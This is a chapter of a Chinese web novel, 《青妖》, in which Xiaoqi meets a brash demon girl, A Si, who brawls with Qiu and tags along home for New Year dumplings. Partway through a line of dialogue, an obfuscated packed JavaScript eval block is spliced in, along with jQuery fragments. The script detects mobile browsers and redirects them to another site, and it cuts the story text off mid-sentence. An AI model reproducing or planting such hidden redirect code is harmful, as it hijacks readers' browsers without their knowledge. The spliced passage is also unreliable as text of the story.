30. 阿肆

作品:《青妖

    小七心下一惊,连忙往铺子里看去。


    幸好铺子里食客多,又都在嚷嚷喧哗,她们坐在外面,这才教这女子说的话没被里面的人听到。


    小七在逃亡的时候,见过的草菅人命的事多了去了,不过作恶的大多是些一脸凶相,亦或是一脸贼相的男子,也都是些有身份有地位的人。


    像这样看上去与她一般年岁,身无分文,手无寸铁的恶徒,小七还是第一次见。


    见小七瞪着自己的眼神充满怨气和敌意,女子一脸无辜道:“那我能怎么办?他们非找我要钱,我又没钱,没钱他们又不肯放我走,我只好杀了他们。”


    “你小声点!”


    见女子如此大言不惭,毫不避违地在人家铺子吃着人家炖的猪肘,还嚷嚷着要杀了人家,小七赶紧坐下,掏出一小颗雪花银放在她跟前。


    女子将猪骨头扔在身后,又拿起另一个猪肘啃了起来,“你真好……救了我……也救了他们……”


    说到此处,女子又转头对“他们”喊道:“老板!再来十碗猪肘!”


    小七闻言,又赶紧掏出两颗雪花银放在她跟前。


    小七望了眼寺庙口,见门口只有零零星星的人进出,想是俗讲还未结束,于是干脆倒了杯茶在这里坐等。


    “你叫什么名字?”小七替她也倒了杯热茶。


    “阿肆……你呢?”


    阿肆……


    小七笑道:“我叫小七。”


    阿肆正啃着猪肘,满嘴油光,听到此处双眼一亮,“真巧,我弟弟叫小伍,要是再来个小陆,那我们四个就可以排成一排啦!”


    “你还个有个弟弟啊!”小七来了兴趣,“那你弟弟呢?是在家么?”


    阿肆又啃完一只猪肘,喝了口茶水解腻,摇头道:“他在找人呢。”


    小七刚想问找什么人,便听见阿肆问道:“对了,你有没有见过……一个……穿白衣裳……戴面具……的男人?”


    戴面具……


    小七想起了楸,可他平日里都穿青衣裳。


    小七摇了摇头,问道:“你们找那个人做什么?”


    阿肆像是被提起了什么烦心事,翻了个白眼撇嘴道:“一个无赖……问我家老祖借了东西不还……害得我们天南地北找他。”


    说着她带着气将猪骨往身后一甩,“烦死了!”


    小七想,这无赖定是借了她们家好多银子,才教她大过年的穿得如此单薄上街寻人。


    小七看着阿肆啃完最后两碗猪肘,然后将手掌贴在木桌上蹭了蹭,像是在揩油。


    于是她从怀里掏出先前楸给的手帕,正要递给阿肆,却见阿肆已将双手在裤腿上蹭了个干净。


    想是不用了。


    小七正要收回手帕,却听见远处有人喊她。


    “小七!”


    是楸的声音。


    小七站起身走出铺子,阿肆也跟了出来。


    楸瞧见跟在小七身后红衣少女正直勾勾地盯着自己,刚要出声询问,却见那少女忽然飞身跃起,右手五指微屈,直冲他面门袭来。


    楸挥袖打落她的右手,那少女重心后仰,却借力在空中旋身,猛伸右腿向楸蹬去。


    楸一把将小七拉开,自己侧身闪避,单手抓住少女的脚踝向一旁扔去。


    少女抱住双膝,在空中翻了两圈借以消力,然后稳稳落于不远处的雪地上。


    小七惊讶地看着楸,他平日里挂得稳稳当当的面具,此刻半边歪斜,露出了微微上挑的右眼角与一截不浓不淡的眉尾。


    “你这是作甚?”


    楸伸手将面具扶正,重新系紧绳结,声音中带着愠怒。


    阿肆扫了眼这银面男身旁穿红马褂的小儿,这小儿此刻正又惊又恼地瞪着自己。


    阿肆毫不畏惧,走至这雍容华贵的银面男跟前,抱臂而立,仰首看着他问道:“好端端的一个妖,戴什么面具?”


    “你这小女子,忒没礼貌,别人戴不戴面具与你有何干系……”小顽爷踮起脚,指着阿肆的鼻子开始一通臭骂。


    小七也挡在楸面前,蹙眉道:“他是我哥哥,脸有恶疾不便示人,这才戴着面具。”


    如此冷的天,穿着单衣赤脚踏雪还能面不改色,还长了双野兽的脚。


    这是只修为不低的妖。


    楸冷眼看着阿肆,将小七拉到了身后。


    “恶疾?”阿肆仍是盯着楸的银面,右手端着下巴,“摘下来我瞧瞧,看看是什么毛病?”


    小七从楸身后探出半个脑袋,凶巴巴道:“你有完没完?”


    “罢了。”阿肆瞥他一眼,嘟囔道:“反正我要找的也不是妖。”


    小七生怕他俩再打起来,拉起楸的袖子央道:“楸哥哥,我们回去罢,马上就要吃晌午了。”


    阿肆闻言,忙绕到楸身后,盯着小七的脸问道:“你们家晌午吃什么?”


    小七瞧她这副眼巴巴的模样,心下暗叫不好——她怕是要跟来。


    小顽爷睐她一眼,“大过年的,当然是吃饺子。”


    阿肆舔了舔嘴皮,点点头道:“还行。”继而拉起小七的手,“走吧。”


    “走走走走……”小顽爷急忙走过来把她俩的手拉开,瞪着阿肆,“走什么走?你回你家去!”


    “我就是从家里出来的我回去干嘛?”


    小七感到奇怪,问她:“今日岁旦,你不去找你弟弟么?”


    “我弟?”


    阿肆冷笑一声,翻了个白眼道:“我看到他就烦,留他条狗命已经算很不错了。”


    楸见此女戾气如此大,不免心生厌恶,牵起小七的手便往回走。


    小顽爷也抬脚跟上。


    然而三人走了没几步,就发觉阿肆一直紧紧跟在他们身后。


    楸解下腰间的钱袋,拿出一锭银子递给她,“要吃饺子一旁就有卖的。”


    阿肆看也不看他手里的银子,“我要吃你家的。”


    楸冷笑,看来今日是摊上个泼皮了。


    此女修为不浅,像块牛皮糖似的,甩也甩不开。大过年的,今日又是岁旦,让她跟回清辉堂左右不过是吃顿饺子,若再生出别的事端,在清辉堂也好处理。


    楸转过身,重新牵起小七的手向前走去。


    谁料阿肆却突然扑到两人中间,身子压下来强行将两人的手分开,左右手各牵一只。


    楸立即如触电般收回手,侧首瞪着她。


    阿肆看也不看他,拉着小七大步流星地向前走去。


    楸这才注意到她的后腰处别着小七的大荷包。


    “哇哦!”


    小七顺着阿肆的视线看去,原来是街边摆着的各式各样的炮仗。小七不期想起昨日沙华叮嘱过她,让她今日在市上买些新奇的炮仗回去。


    见阿肆已经蹲在摊前挑选起来,小七赶紧凑过去。


    “姑娘们瞧瞧看看,这些啊,都是今年才有的新玩意儿……”


    戴着风帽的小贩见来了客人,立马将摊位上花花绿绿的烟花鞭炮一一向二人介绍道:“看!这是‘冲天炮’,这是‘满天星’,这是‘飞天小公鸡’,这是‘震耳欲聋’……”


    “有‘飞天小母鸡’么?”


    “啊?”


    阿肆以为他没听清,又大声问了一遍:“有‘飞天小母鸡’么?”


    “嘶——”小贩挠挠头,细细想了下回道:“没听说过什么‘飞天小母鸡’啊,我这里只有‘飞天小公鸡’……”


    “不公平!”阿肆大声喊道,倏地站起身来一脚踩在那捆‘飞天小公鸡’上,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872482|190054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凭何只有‘飞天小公鸡’,没有‘飞天小母鸡’?”


    可怜那捆名叫‘飞天小公鸡’的鞭炮,红纸包裹的外壳破裂开来,露出里面火药粉末。


    空气中也弥漫起浓浓的火药味。


    “你这人抽什么疯啊……”那小贩忿然作色,伸出双手要去拉两人的衣领,然而却被一只手拂开。


    “我赔。”


    ……


    楸和小顽爷一人抱着一堆炮仗,终于看到了清辉堂的大门。


    朱门高且厚,上面排布着数十个碗大的镀金门钉,气势逼人。


    阿肆看着这扇威严的大门,后退两步,“这门看上去挺结实的,让我试试能不能一脚把它踢烂……”


    小七连忙冲上去抱住她的腿,“别!这门敲一敲会有人开的。”


    “噢……”阿肆抱着双臂,右脚高高抬起,脚趾夹住铜环,叩响了大门。


    楸见她那满是污泥的趾甲贴在门环上,额头上青筋暴起。


    “谁?”门后传来女侍的声音。


    “是小七。”阿肆抢在小七前面回答道。


    女侍听着声音不对,拉开条门缝出来,正要去瞧个究竟,阿肆却就着右腿一蹬。


    大门骤然打开,门后的女侍也飞了出去。


    “你……”楸见状就要冲上前去,却被小顽爷挡下。


    “过年不见血光,过年不见血光……”小顽爷像个菩萨一样在他跟前碎碎念道。


    楸见小七回头看着他,深深吸了口气,又缓缓吐了出来。


    小七将女侍搀扶起来。


    女侍手肘蹭破了皮,抬首瞧见阿肆那天不怕地不怕的模样,又在这样的寒冬里着身单衣,想必应是有些本事,又见公子进了门来,并未呵斥此女,想此女应是清辉堂的客人,于是心中怨怼只能按下不表。


    “你去上些药,换个人来守门。”


    除了水月等那些长年在后院伺候公子姑娘的女侍,其他女侍一年半载也难得能和公子说上句话。


    见公子正看着她,守门女侍突然觉得这一摔还是摔有所值的,红着脸应了声“是”后,一瘸一拐地离去。


    有两三个女侍碎步走来,接过楸与小顽爷手里的东西。


    楸见阿肆跟在小七身后大摇大摆地往后院走去,吩咐女侍道:“领小顽爷到画水苑前厅,好生伺候着。”


    女侍应下,楸转头又对小顽爷道:“小顽爷,你且去坐着用茶,我稍后便来。”


    楸说完便快步跟上小七,两个抱着炮仗的女侍在他身后一路小跑跟上。


    后院院里正摆着两大张梨木桌,水月同三个女侍正在楸树下包饺子。见小七等人进来,水月等人放下手中的东西朝他们福了福身子,“公子,七姑娘。”


    “咦?公子……这是带了客人?”


    水月打量着小七身旁着单薄红衣的赤脚女子,心下觉得不对,若是公子的朋友怎会带来后院,于是又改口问道:“这位姑娘是……七姑娘的朋友?”


    见小七一脸为难,不知如何开口,楸出声道:“不是,只是路上遇见来蹭顿饺子的。”


    水月不明所以,楸也不作过多解释,看着阿肆在庭院里跑跑跳跳,四处看四处瞅,又嘱咐水月道:“你提防着她,别让她到处跑到处翻,吃完饺子后就让她离开。”


    花房里的二魂听见院里的动静,披着避光袍就飞了出来。


    两魂今日的服制难得统一,均是一魂一件樱桃红罗裙,外披着一件漆黑避光袍。


    不像曼姝满心满眼皆只有楸一人,沙华一眼就发现了院里站着一陌生女子,刚要出声询问,却见那女子同样在看着她们。


    阿肆双眼一亮道:“嘿!竟有两个魂儿!”


    她话音未落便突然蹬地而起,伸手要去掏二魂。